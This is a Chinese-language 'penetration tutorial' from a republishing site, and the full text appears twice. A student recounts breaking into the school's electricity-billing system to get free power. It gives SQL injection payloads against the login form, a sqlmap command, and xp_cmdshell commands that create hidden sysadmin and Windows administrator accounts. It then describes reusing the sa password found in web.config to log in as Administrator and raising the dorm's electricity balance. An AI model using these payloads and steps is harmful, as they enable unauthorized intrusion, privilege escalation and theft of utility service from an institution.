黑客渗透教程:校园电力系统的渗透
来源: 系统之家 2014/08/09 13:37
夏天电费都贵的要死,作为一名在校学生又没有什么经济来源,于是就打起了学校电力系统的主意,想给自己节约点电费,下面就介绍一下我是怎么对校园电力系统进行渗透的,不多说直接干。
1.测试是否有注入点
首先,我们学校有个电费查询的站点

查了下这个公司没有什么整站程序漏洞可以利用的。站点是aspx。学校给的用户名密码都是guest,进去过后输入寝室号就可以查询。直接登陆框注入下。

输入gues’+’t 密码随便乱输 提示密码错误,很明显存在mssql拆分注入。手工测试了下guest'; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05 还存在时间差注入,而且是sa权限,总之就有注入了,直接放在sqlmap里面跑。
2.sqlmap提权
Post注入首先抓包

然后sqlmap.py -r s.txt -p TextBox1 --dbs -username -password什么的得出了sa的hash 尝试破解但是没破解出来,不想hash了,毕竟是sa权限。直接提交
;exec master.dbo.sp_addlogin vgy95$,V_gy95;--
;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--
;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add"--
;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add"--
很幸运,这台服务器没设置什么乱七八糟的存储过程限制,都执行成功了。现在既有了sqlserver的sa权限,也有了一个admin权限的远程用户。
3.曲折的电费数据修改 各位大大们,肯定以为到了这部基本差不多就结束了,接下来update或者insert的事情,但是过程远比这个难。首先给大家看下数据库:

很明显就是elecctldata。看了下自己剩余度数还有419.49度(这个电费是已经改过了的),直接在数据库里面搜索“419.49”呗,执行后发现居然没有

每个表段都查了下,在Dorm_Room_Info表发现我的寝室id是598 而存储电费的表段在dbo.pos
查询分离器执行
use ElecCtlData
select * from Pos where ID=598
得到

字段ElecLeft就是剩余电费度数,现在电费419.49.但是为毛数据库里面会有两个小数点的差别呢。
立马翻了下查询页面代码是怎么写的,但是毫无发现。看见了同目录下有个dll,立马想到了.net与dll的结合运用,下了个dll反汇编工具(reflector.exe)发现了这段代码:
select r.name as 房间编号,cast(p.ElecLeft/100.0 as decimal(20,2)) as '剩余电量(度)',p.lastUpdateTime as 抄表时间 from pos p,dorm_room_info r where p.id = r.posid and r.name='01"
上面写了字段ElecLeft值除以100 就是查询的度数值,所以就有了两个小数点的差距。知道了原理直接构建语句:
UPDATE Pos SET ElecLeft=66666 WHERE ID=598

显示执行成功,兴奋的查了下电费居然还是原始值

什么情况!?居然没成功,再执行一边,还是显示成功但是查询过后还是原始值。
百度了一下,很多人说这是因为数据库写了事物,所以回滚了。也就是说数据库有数据更新时,事物会根据设定好的语句验证数据每一个操作的一致性。如果前后不一致的话,那么数据就会回滚。
我的情况貌似就是这样,远程登录了下发现居然不能使用T-sql进行调试,于是打开SQLServerProfiler进行数据库跟踪。

看见了ApplicationName 写的是.Net sqlClient Data Provider
说明有个外部设备在一直往数据库写数据所以我的电费也改不了,只有尝试登录服务器的Administrator 用户看看是什么情况了,但是Administrator的密码并没有,又陷入了难题。因为服务器是windows 2008 r2的,密码要求比较多,要有大小写和特殊符号,所以当时就觉得无望了。
随手翻了站点的web.config 看见了sa用户的密码是mjmic****123 于是决定用这个密码来试试Administrator这个用户,结果真的登陆进去了!!!!
发现一个通讯程序一直在往数据库写数据,如图:

看来只有停掉这个程序或者用官网的客户端进行修改了,看到了桌面上电费管理系统的快捷方式直接打开,操作充值修改数据,一切ok!有人问我为什么不在自己建的用户运行这个客户端,我也运行过但是自己建的用户没有权限进行修改操作,只允许查询。



好了,这是我的校园网渗透第一步,电力系统渗透。该系统管理了我们学校全部寝室包括几处路灯,可以充电费也可以强制关闭或者开启,还是挺危险的,正值暑假,漏洞开学提交。希望筒子们能够互相学习交流。


本文来自于【系统之家】 www.xp85.com
1.测试是否有注入点
首先,我们学校有个电费查询的站点

查了下这个公司没有什么整站程序漏洞可以利用的。站点是aspx。学校给的用户名密码都是guest,进去过后输入寝室号就可以查询。直接登陆框注入下。

输入gues’+’t 密码随便乱输 提示密码错误,很明显存在mssql拆分注入。手工测试了下guest'; IF SYSTEM_USER='sa' WAITFOR DELAY '00:00:05 还存在时间差注入,而且是sa权限,总之就有注入了,直接放在sqlmap里面跑。
2.sqlmap提权
Post注入首先抓包

然后sqlmap.py -r s.txt -p TextBox1 --dbs -username -password什么的得出了sa的hash 尝试破解但是没破解出来,不想hash了,毕竟是sa权限。直接提交
;exec master.dbo.sp_addlogin vgy95$,V_gy95;--
;exec master.dbo.sp_addsrvrolemember vgy95,sysadmin;--
;exec master..xp_cmdshell "net user vgy95$ V_gy95 /add"--
;exec master..xp_cmdshell "net localgroup administrators vgy95$ /add"--
很幸运,这台服务器没设置什么乱七八糟的存储过程限制,都执行成功了。现在既有了sqlserver的sa权限,也有了一个admin权限的远程用户。
3.曲折的电费数据修改 各位大大们,肯定以为到了这部基本差不多就结束了,接下来update或者insert的事情,但是过程远比这个难。首先给大家看下数据库:

很明显就是elecctldata。看了下自己剩余度数还有419.49度(这个电费是已经改过了的),直接在数据库里面搜索“419.49”呗,执行后发现居然没有

每个表段都查了下,在Dorm_Room_Info表发现我的寝室id是598 而存储电费的表段在dbo.pos
查询分离器执行
use ElecCtlData
select * from Pos where ID=598
得到

字段ElecLeft就是剩余电费度数,现在电费419.49.但是为毛数据库里面会有两个小数点的差别呢。
立马翻了下查询页面代码是怎么写的,但是毫无发现。看见了同目录下有个dll,立马想到了.net与dll的结合运用,下了个dll反汇编工具(reflector.exe)发现了这段代码:
select r.name as 房间编号,cast(p.ElecLeft/100.0 as decimal(20,2)) as '剩余电量(度)',p.lastUpdateTime as 抄表时间 from pos p,dorm_room_info r where p.id = r.posid and r.name='01"
上面写了字段ElecLeft值除以100 就是查询的度数值,所以就有了两个小数点的差距。知道了原理直接构建语句:
UPDATE Pos SET ElecLeft=66666 WHERE ID=598

显示执行成功,兴奋的查了下电费居然还是原始值

什么情况!?居然没成功,再执行一边,还是显示成功但是查询过后还是原始值。
百度了一下,很多人说这是因为数据库写了事物,所以回滚了。也就是说数据库有数据更新时,事物会根据设定好的语句验证数据每一个操作的一致性。如果前后不一致的话,那么数据就会回滚。
我的情况貌似就是这样,远程登录了下发现居然不能使用T-sql进行调试,于是打开SQLServerProfiler进行数据库跟踪。

看见了ApplicationName 写的是.Net sqlClient Data Provider
说明有个外部设备在一直往数据库写数据所以我的电费也改不了,只有尝试登录服务器的Administrator 用户看看是什么情况了,但是Administrator的密码并没有,又陷入了难题。因为服务器是windows 2008 r2的,密码要求比较多,要有大小写和特殊符号,所以当时就觉得无望了。
随手翻了站点的web.config 看见了sa用户的密码是mjmic****123 于是决定用这个密码来试试Administrator这个用户,结果真的登陆进去了!!!!
发现一个通讯程序一直在往数据库写数据,如图:

看来只有停掉这个程序或者用官网的客户端进行修改了,看到了桌面上电费管理系统的快捷方式直接打开,操作充值修改数据,一切ok!有人问我为什么不在自己建的用户运行这个客户端,我也运行过但是自己建的用户没有权限进行修改操作,只允许查询。



好了,这是我的校园网渗透第一步,电力系统渗透。该系统管理了我们学校全部寝室包括几处路灯,可以充电费也可以强制关闭或者开启,还是挺危险的,正值暑假,漏洞开学提交。希望筒子们能够互相学习交流。


本文来自于【系统之家】 www.xp85.com